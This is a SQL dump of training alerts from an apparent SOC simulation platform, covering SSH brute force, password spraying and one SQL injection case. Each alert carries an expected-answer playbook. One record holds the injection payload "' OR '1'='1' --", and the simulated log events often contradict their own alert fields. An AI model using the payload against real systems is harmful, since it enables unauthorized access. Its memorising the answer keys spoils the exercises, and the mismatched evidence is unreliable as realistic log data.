INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1662, 'SSH Brute Force Spike Detected', 'critical', 'Wazuh', 'A significant spike in failed SSH login attempts from a foreign IP address indicates a brute force attack on the server.', 'Brute Force', 'T1110', 1, 'investigating', NULL, '{\"timestamp\":\"2026-03-15T06:45:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.143.223.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"root\",\"hostname\":\"ssh-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 21:15:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently involved in brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"OSINT confirms the external IP as malicious, validating the brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1663, 'Failed SSH Logins From Known Malicious IP', 'high', 'Azure Sentinel', 'Several failed SSH login attempts from a known malicious IP address detected against a critical server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:44Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"172.16.0.20\",\"username\":\"admin\",\"hostname\":\"critical-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"172.16.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of malicious activity confirms the attack as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1664, 'Unusual Login Activity Detected', 'medium', 'Splunk', 'Single IP address triggered 30 failed login attempts against different accounts on the internal web portal.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:20:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"10.0.0.8\",\"username\":\"testuser\",\"hostname\":\"web-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for password spraying attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of malicious activity indicates a definite attack.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1665, 'Failed Login Attempts from Unusual Location', 'high', 'Elastic SIEM', 'Multiple login failures from a foreign IP address targeting the internal SSH server indicate a brute force attempt.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:05:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"192.168.1.12\",\"username\":\"guest\",\"hostname\":\"ssh-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"guest\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly used username in attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed attempts and external IP\'s reputation confirm this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.932Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"192.168.1.12\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1666, 'Potential Password Spraying Detected', 'medium', 'Wazuh', 'A foreign IP address initiated numerous failed login attempts on the company\'s web application.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"10.0.0.9\",\"username\":\"user2\",\"hostname\":\"web-app\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for engaging in password spraying\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.9\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The attack pattern and malicious IP reputation confirm this as an attack attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.934Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1667, 'Web Portal Access Attempt with SQL Injection', 'critical', 'Splunk', 'Detected SQL injection attempt in the request body targeting the internal web portal.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.45\",\"dst_ip\":\"10.0.0.15\",\"username\":\"none\",\"hostname\":\"web-portal\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP identified in multiple web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The malicious payload and attack signature confirm the SQL injection attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' 